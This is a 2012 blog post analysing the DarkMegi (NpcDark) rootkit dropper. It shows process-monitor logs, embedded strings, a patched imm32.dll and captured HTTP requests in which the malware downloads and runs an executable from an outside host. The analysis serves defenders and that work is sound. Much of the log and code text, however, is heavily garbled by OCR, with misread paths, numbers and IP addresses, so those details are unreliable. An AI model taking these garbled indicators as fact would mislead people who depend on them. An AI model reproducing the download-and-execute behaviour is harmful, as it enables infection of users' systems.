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Analysis of DarkMegi aka NpcDark

Written by Kimberly on Friday, 20 April 2012. Posted in Rootkits Viewed 6867 times

I've always been interested in rootkits and their removal. So it was no surprise that after
reading the article about DarkMegi | tried to find the rootkit dropper. Two security
colleagues were kind enough to forward me a few samples.

According to the analysis performed by McAfee Labs, DarkMegi was the first known threat
delivered through the CVE-2012-0003 - MIDI Remote Code Execution Vulnerability.
DarkMegi has also been distributed via the Gong_Da Pack exploit kit and more recently via
the Blackhole Exploit Kit.

DarkMegi is complex and difficult to analyze; it involves more than just dropping a
usermode component ( com32.dll) and a kernel driver (com32.sys) on the victim’s
computer.

Upon execution DarkMegiSample.exe, as we will name the file in the analysis, starts up an
instance of ipconfig.exe.

[EXECUTION] "c:\windows\system32\ipconfig.exe" was allowed to run

[EXECUTION] Started by "c:\documents and settings\kly\desktop\darkmegisample.exe"
[1160]

[EXECUTION] Commandline - [ ipconfig.exe ]

DarkMegiSample.exe then installs a service called Com32 and drops the kernel driver

com32.sys into the Drivers directory. At this stage, 9728 bytes have been written to the file.

[DRIVER/SERVICE] c:\documents and settings\kly\desktop\darkmegisample.exe [1160]
Tried to install a driver/service named Com32

:lDark MeqiSample.exe 1160 CreateFile CHWINDOW S system 32 drivers\com 32 sys Desired Access: Generc Write, Read Attributes,
:lDaﬂ(MegiSample.em 1160 WriteFile CHWINDOWS system 3P drivers'\com3Z sys  Offset: 0. Length: 5,728
:lDaﬂ(MegiSample.em 1160 CloseFile CHWINDOW S system 32 drivers\com 32 sys
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DarkMegiSample.exe then creates a file called RCX1.tmp in the Drivers folder, copies the
current content of com32.sys to the file and appends a huge pile of junk data to RCX1.tmp
so that the size of the file is 25.0 MB (26,224,256 bytes).

DarkMegiSample exe 1160 CreateFile
DarcMegiSample exe 1160 CloseFile
DarcMegiSample exe 1160 CreateFile
DancMegiSample.exe 1160 ReadFile
DarkMegiSample.exe 1160 CreateFile
DarkMegiSample exe 1160 ReadFile
DarcMegiSample exe 1160 ReadFile
DarkMegiSample exe 1160 ReadFile
DarkMegiSample exe 1160 ReadFile
DancMegiSample.exe 1160 WriteFile
DarkMegiSample exe 1160 ReadFile
DarcMegiSample exe 1160 WriteFile
DarkMegiSample exe 1160 WriteFile
DarkMegiSample exe 1160 SetEndCfFilelnformationFile
DancMegiSample.exe 1160 SetAllinformation File
DarkMegiSample exe 1160 ReadFile
DarcMegiSample exe 1160 WiteFile
DarcMegiSample exe 1160 WriteFile
DarkMegiSample exe 1160 ReadFile
DancMegiSample.exe 1160 WriteFile
DarkMegiSample exe 1160 ReadFile
DarcMegiSample exe 1160 WiteFile
DarkMegiSample exe 1160 ReadFile
DarkMegiSample exe 1160 WriteFile
DancMegiSample.exe 1160 ReadFile
DarkcMegiSample exe 1160 WiteFile
DarcMegiSample exe 1160 WriteFile
DarcMegiSample exe 1160 WriteFile
DarkMegiSample exe 1160 WriteFile
DancMegiSample.exe 1160 WriteFile
DarkMegiSample exe 1160 WiteFile
DarcMegiSample exe 1160 WiteFile
DarcMegiSample exe 1160 WiteFile
DarkMegiSample exe 1160 WriteFile

SWINDOW S system 32 drivers* RCX1 tmp Desired Access: Generc Read, Dispos
SWINDOW S system 32 drivers"RCX1 tmp

SWINDOW S system 3 drivers'com32.sys  Desired Access: Generic Read, Dispos
SWINDOW Sheystem 32 drivershcom32.gys Offset: 0, Length: 64

SWINDOW Sheystem 32NdrivershRCX1 tmp Desired Access: Generic ReadWrite,
SWINDOW S system 32 drivers com 32 sys Offset: 208, Length: 248

SWINDOWS system 32 drivers'com32sys  Offset: 208, Length: 248

SWINDOWS system 32 drivers'com32sys  Offset: 456, Length: 240

SWINDOW Sheystem 32 drivershcom32.gys Offset: 0, Length: 456

SWINDOW Shaystem 32 drivershRCK1 tmp Offget: 0, Length: 456

SWINDOW S system 32 drivers com 32 sys Offset: 696, Length: 72

SWINDOW S system 32 drivers"RCX1 tmp Cffset: 696, Length: 72

SWINDOW S system 32 drivers*RCX1 tmp (ffset: 656, Length: 72

SWINDOW Shaystem 32 drivershRCX1 tmp EndCiFile: 768

SWWINDOW S eystem 32 drivers\RCX 1 tmp AllocationSize: 768

AWINDOW Shsystem 32 \drivershcom32 sys  Offset: 768, Length: 4,096

SWINDOW S system 32 drivers"RCX1 tmp Cffset: 768, Length: 4,096

SWINDOW S system 32 drivers'RCX1 tmp Cffset: 768, Length: 4,096

SWINDOW S system 3 drivers'com32sys Offset: 4,864, Length: 836

SWINDOW Shaystem 324 drivershRCX1 tmp Offset: 4,864, Length: 856

AWINDOW S system 32 driverstcom32.sys  Offset: 5,760, Length: 384
SWINDOW S system 32 drivers"RCX1 tmp Cffset: 5,760, Length: 384

SWINDOW S system 3 drivers'com32sys  Offset: 6,144, Length: 1,280
SWINDOW S system 32 drivers RCX1 tmp (ffset: 6,144, Length: 1,280
AWINDOW Sheystem 32 drivershcom32eys  Offset: 7,424, Length: 768
SWINDOW S system 32 drivers* RCX1 tmp Offset: 7,424, Length: 768
SWINDOW S system 32 drivers"RCX1 tmp Cffset: 8,192, Length: 168
SWINDOW S system 32 drivers"RCX1 tmp Cffset: 8,152, Length: 168

SWINDOW Shaystem 32 drivershRCX1 tmp Offset: 8,360, Length: 26,214 400
SWINDOW Shaystem 32 drivershRCX1 tmp Offget: 8,360, Length: 26,214 400
SWINDOW Shaystem 32 drivershRCX1 tmp Offset: 12 288, Length: 65,536, 110 Fla
SWINDOW Shaystem 32 drivershRCX1 tmp Offset: 77824, Length: 65.536, 11O Fla
SWINDOW Shaystem 32 drivershRCX1 tmp Offset: 143,360, Length: 65,536, [/O A
SWINDOW Shaystem 32 drivershRCX1 tmp Offset: 208,896, Length: 53,248, |10 H

The file com32.sys is deleted and RCX1.tmp is renamed as com32.sys.

™ DarkMegi Sample e 1160 SetDispostioninformation... CUWINDOW S \system 32 divers'com32 sys  Delete: True
T DakMegiSamplesor 1160 CloseFie CAWINDOW S system 1. drivers 'com 32 sys
™ DarkMegi Sample exe 1160 CreateFie CAWINDOW S \system 32 drivers RCX 1 tmp Diesired Access: Read Attibutes, Delete, Synchronize, Dispostion: Open, Optior

™ DarkMegi Sample e 1160 CueryAtirbute TagFie NIMDOW S spstem 32 drivers  RCX1 tmp Adtribtes: A, ReparseTag: Ol

= DarkMegi Sample e 1160 CQueryBasicinformation Fie NINDOWS \systemIldivers\RCX1tmp  CreationTime: 4/15/2012 1:07:58 PM, LastAccessTime: 415/2012 1:.07.57 PN
DarkMegiSample oz 1160 CreateFie CHAWINDOW S aystem 1.2 drivers Desired Access: Wiite Data/Add File, Synchronize. Disposttion: Open. Options:

™ DarkMegi Sample exe 1160 SeiRenameinformationFile  CAWINDOW S \system 32 drivers RCX1 tmp ReplaceFBasts: False, FileMame: C\WINDOW S \system 32 drivers \com32 sys

The kernel driver com32.sys contains a couple of interesting strings:

0x00001757: 'H:\RKTDOW~1\RKTDRI~1\RKTDRI~1\objfre\i386\RktDriver.pdb'
0x019021C4: 'The driver for the supercool driver-based tool'

0x01902328: 'Supercool driver-based tool'

0x0000062E: 'DosDevices\NpcDark'

0x0000060E: 'Device\NpcDark'

0x01902274: 'RktDriver.sys'

DarkMegiSample.exe then drops the usermode component com32.dll, the file size is
45,056 bytes upon creation. Similar to the driver, the dIl will get a huge amount of junk
data appended so that the final file size becomes 30.0 MB (31,506,432 bytes). The file
com32.dll is deleted and RCX2.tmp is renamed as com32.dlIl.

2/7



| DarkchMegiSample axe 1160 SetDispositioninformation... C:\WINDOWS \system32\oom32.di Delete: True
Dk MegiSample exe 1160 CloseFie WINDOWS \system32'com32.dl

:Daﬁcl-'leg|5a'nple e 1180 CreateFie CWINDOWS system 32NRACH2 tmp Desired Access: Read Aftributes. Delete. Synchronize, Dispasition: Ope
™ DarkMegiSample exs 1160 QueryAtiribute TagFile CAWINDOWS \system I2WRCXK2 tmp Attributes: A, ReparseTag: (x0

T DarkMegiSample sxe MED QueryBasscirformationFile T \WINDOWS \systemI2\RCH2 tmp CreationTime: 41932012 1:07:57 PM, LastAcoess Time: 4719720121

| DarkchMagiSample axes 1160 CreateFie CAWINDOWS \system 32 Desired Access: Write Data/Add Fie, Synchronize, Disposition: Cpan

| DarkMegiSample sxe 1160 SetRenamelnformationFle C:\WINDOW S \system IZ\RCX2 tmp ReplaceFExists: False, FieName: C:\WINDOW S'\system32'com32.dl

DarkMegiSample.exe launches an instance of rundll32.exe to load the freshly created
usermode component com32.dll.

[EXECUTION] "c:\windows\system32\rundlI32.exe" was blocked from running
[EXECUTION] Started by "c:\documents and settings\kly\desktop\darkmegisample.exe"
[1160]

[EXECUTION] Commandline - [ c:\windows\system32\rundll32.exe
c:\windows\system32\com32.dll getinterface ]

DarkMegiSample.exe launches several hidden instances of Internet Explorer. The
usermode component com32.dll is loaded under Internet Explorer too now.

[EXECUTION] "c:\program files\internet explorer\iexplore.exe" was allowed to run
[EXECUTION] Started by "c:\documents and settings\kly\desktop\darkmegisample.exe"
[1160]

[EXECUTION] Commandline - [ "c:\program files\internet explorer\iexplore.exe" ]
[EXECUTION] "c:\program files\internet explorer\iexplore.exe" was allowed to run
[EXECUTION] Started by "c:\documents and settings\kly\desktop\darkmegisample.exe"
[1844]

[EXECUTION] Commandline - [ "c:\program files\internet explorer\iexplore.exe" ]

= Process Explorer Search
Handle or DLL substang:  com32 Search | | Cancel |
Process Type Handie or DLL

nundl32emm 256 DLL CAWINDOWS \aystem 32 com 32 dI
jerplore s 736 DLL CAOWINDOW S syslem 32 com 32 di

The usermode component com32.dll contains a list of hardcoded DNS Servers and is
most likely able to download an updated version of the rootkit. Again we find a reference to
NpcDark ... would the author be a fan of WOW (World of Warcraft)?
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Address £ | Gize String

00007F42 14 RktLibrary.dl
Q00007F51 12 GetInterface
00003030 7 58.8.8.8
00003024 14 208.67,222.222
000020FE 14 165.87.201. 244
00003152 14 209,166,160, 36
00003120 12 163,95,192.1
00oos338 9 127.0.0.1
00008395 10 2.0,50727)
00003340 5 %S %S
000033C8 12 IEXPLORE.EXE
00003404 13 TabProcGrowth
00003414 1z rundll32.exe
00003424 7 IpCount
00003434 9 softurl%ed
00003440 9 FileCount
0000244C & Config
00003454 7 Timekey
Q000345C 5 errar

00008465 14 Versionkey.ini
00002474 =] CsExit
0000343C 7 MpcDark
00008494 1z explorer.exe
00003444 13 RktDownload 3ed

8.8.8.8 - google-public-dns-a.google.com
208.67.222.222 - resolver1.opendns.com
165.87.201.244 - ns4.us.prserv.net
209.166.160.36 - orion.dns.cc.stargate.net
168.95.192.1 - hntp1.hinet.net

Internet access is requested to download two files and contact what seems to be a stats
page.

GET /20111230.jpg HTTP/1.1

Host: images. hananren. com

user-agent: Mozilla/4, 0+ (compatible; +MSIE+E. O; +Windows+NT+5.1; +5v1; +. NET+CLR+2. 0. 507273
Cache-Control: no=-cache

HTTP/1.1 200 OK

content-Length: 140

content- e: ima E;Epeg

Last-ModiTied: wed, 21 Mar 2012 12:47:30 GMT
ACCEepr-Ranges: b;tes

ETag: “0ddf7c6607cdl:226

server: Microsoft-II5/6.0

pate: Thu, 19 apr 2012 03:00:20 GMT

0w [P TR, () ;| -, b . - - A - — 14 ] |
,,,,,,,,,,,, | e cscasasane s ®Be s aWensnnsss 1 6. V.o GET F20111230.exe HTTP/1.1
HosT: images. hananren. com

User-agent: Mozilla/4.0+(compatible; +MSIE+G. 0; +Windows+NT+5.1; +5V1; +. NET+CLR+2. 0. 50727)
cache-Control: no-cache

HTTP/1.1 200 OK
Content-Length: 105984

Content- e: application/octer-stream
Last-ModiTied: Fri, 13 apr 2012 14:10:42 @MT
ACCept-Ranges: bytes

ETag: "Oddee357f19cdl:226"

server: Microsoft-II5/6.0

Date: Thu, 19 Apr 2012 03:09:24 GMT

i A nmmCCodCoDOooSooOOoOE D e e Lo 7 ] PO i
cannot be run in 005 mode.

e 20111230.exe is renamed as fuc6.tmp.exe
e 20111230.jpg is renamed as fuc5.tmp
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[EXECUTION] "c:\program files\internet explorer\iexplore.exe" was allowed to run
[EXECUTION] Started by "c:\windows\system32\rundll32.exe" [1968]
[EXECUTION] Commandline - [ "c:\program files\internet explorer\iexplore.exe"
http://images.hananren.com/newd.htm ]

GET fstattphp?id=3?ﬁ?§3?&heb_1d=3?6?93? HTTP/1.1

ACcCepr: */*

referer: http://images. hananren. com/newd. htm

ACCepT-Language: en-us

gsgrﬁaggg; Mozilla/4.0 (compatible; MSIE B.0; wWindows NT 5.1; Trident/4.0; .MET CLR
i

Host: 596.cCnzz.com
Connection: Keep-aAlive

HTTP/1.1 200 OK

Date: Thu, 19 Apr 2012 02:36:12 GMT

Server: ache/2.2.19 (Unix)

Last-Modified: Thu, 19 Apr 2012 02:36:12 GMT

Expires: Thu, 19 Apr 2012 04:06:12 @MT

Content=-Length: 2393

Content-Type: text/htm]

Age: 1977

via: http/l1.1 cn?77 (apacheTrafficserver/3.0.2 [cHs T ]), 1.1 30cOe&f

function gv_cnzz{of){
.var es = document.cookie.indexof(";",of);
.1f(es==-1) es=document.coockie.leng th'
.return unescape({document. cookie. 5uh5tr1ng[uf es));

unction gc_ cnzz{n){

.var arg=m+"=";

.var alen=arg. length;

var clen=document. cookie. length;

var i=0;

whﬂeﬁ<ﬂeﬂ{

.var j=i+alen;

.if(document. cookie. 5ub5tr1ng(1 ; ==arg) return gv_cnzz(j);
. i=document. cookie, indexof (" ™, 1)+1;

1f(1——0} break;

jreturn -1;

var cnzz_ed=new Date();

var cnzz_now=parseInt(cnzz_ed. getTime());

var cnzz_ref=document. referrear;

var cnzz_data="&r="+escapelcnzz_ref.substr(0,512))+ &lg="+escape
(navigator. systemLanguage)+ &ntime=0, 04610700 1334802972 ;

[var cnzz_a=ac_cnzz("cnzz_a3767937"):

The domain images.hananren.com has been registered the 1st of July 2011 and as seen

below the registrant details are totaly faked.

images.hananren.com - 70.39.69.236

Updated 01-jul-2011
Date:

Creation 01-jul-2011
Date:

Name NS77.DOMAINCONTROL.COM
Server:

Name NS78.DOMAINCONTROL.COM
Server:

Registrar: GODADDY.COM, LLC
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Registrant: y3z1007 y3z1007

This e-mail address is being protected from spambots. You need
JavaScript enabled to view it

sdfsfsdfsdfsdf

benjing, beijing 101100

China

1-380-013-8000

DarkMegiSample.exe will now exit and delete itself. The file fuc6.tmp.exe is launched by
rundll32.exe and will also delete itself after execution.

[EXECUTION] "c:\windows\system32\cmd.exe" was allowed to run
[EXECUTION] Started by "Unknown Process" [2212]

[EXECUTION] Commandline - [ c:\windows\system32\cmd.exe /c del
"c:\docume~1\kly\locals~1\temp\fuc6.tmp.exe" ]

It's hard to tell what the purpose of fuc6.tmp.exe is via Process Monitor but we notice that
a randomly named file, VT2XT4d.tmp in our analysis, has been marked for deletion upon
reboot.

Sequence #5151

Thread: 2276

Class: Registry

Cperation: Reg5etValue

Result: SUCCESS

Path: HELM*System*CumertControl Set*ContraltSession Manager.PendingFile RenameOperations
Date: 4/19/2012 1:09:02 PM

Duration: 00002506

Type: REG_MULTI_SZ

Length: 76

Data: SIRCAWINDOW S \system I2WWT2XT4d tmp,

Both cmd.exe and Internet Explorer will load another dil dropped by the rootkit:
bdcapEx32.dlIl.

Bicmd exe 2300 Load Image CHNWINDOW Shaystem 32°bdoap B 32 dll
(EIEXPLOREEXE 2352 Load Image CAHOWINDOW S system 32 bdeap Bx32 dll

After examining the strings in VT2XT4d.tmp | found out that this was actually a copy of
imm32.dll. The file imm32.dIl had been patched to load ... bdcapEx32.dll.
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The file imm32.dll is loaded by a huge number of processes on the system.

-

m

Process -
alg.exe 208
nndl3Z e 256
vmuarvc.exe 260
coipp exe 268
pgaccount.e... 300
procguard exe 412
winlogon.mos 463
sanicesene 512
laazs.exe 524
gvchost exa  B72
ieoplore awe 735
wireshark exe  B04

gvchost e 832

gvchost e 535

gvchost e 1080
ccEviMgrexa 1096
NISUMEXE 1116
explorer e 1240
spoclavaeee 1500
vmenvcewe 1596
coPaySvo.exe 1603
DCSUserPro... 1636
dumpcap.exe 1836
[System Pro... 2152
procenpoexe 2152

Handie or DLL substring:  irm32 4l

| [Lseaen | [ concel |

Twoe | Handie or DLL

OLL CAWINDOW S gystem 320 MMI2. DLL
DLL CHWINDOW 5 aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MM 32.dI

DLL CWINDOW 5 aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2.DLL
DLL CHWINDOW S aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2. DLL
DLL CWINDOW 5 aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2.DLL
DLL CHWINDOW S aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2. DLL
DLL CWINDOW 5 aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2.DLL
DLL CHWINDOW S aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2. DLL
DLL CWINDOW 5 aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2.DLL
DLL CHWINDOW S aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2. DLL
DLL CAMWINDOW 5 aystem 32 MM 32.dI

OLL CAWINDOW S aystem 320 MMI2. DLL
DLL CHWINDOW S aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2. DLL
DLL CWINDOW 5 aystem 32 MM 32 DLL
OLL CAWINDOW S aystem 320 MMI2. DLL
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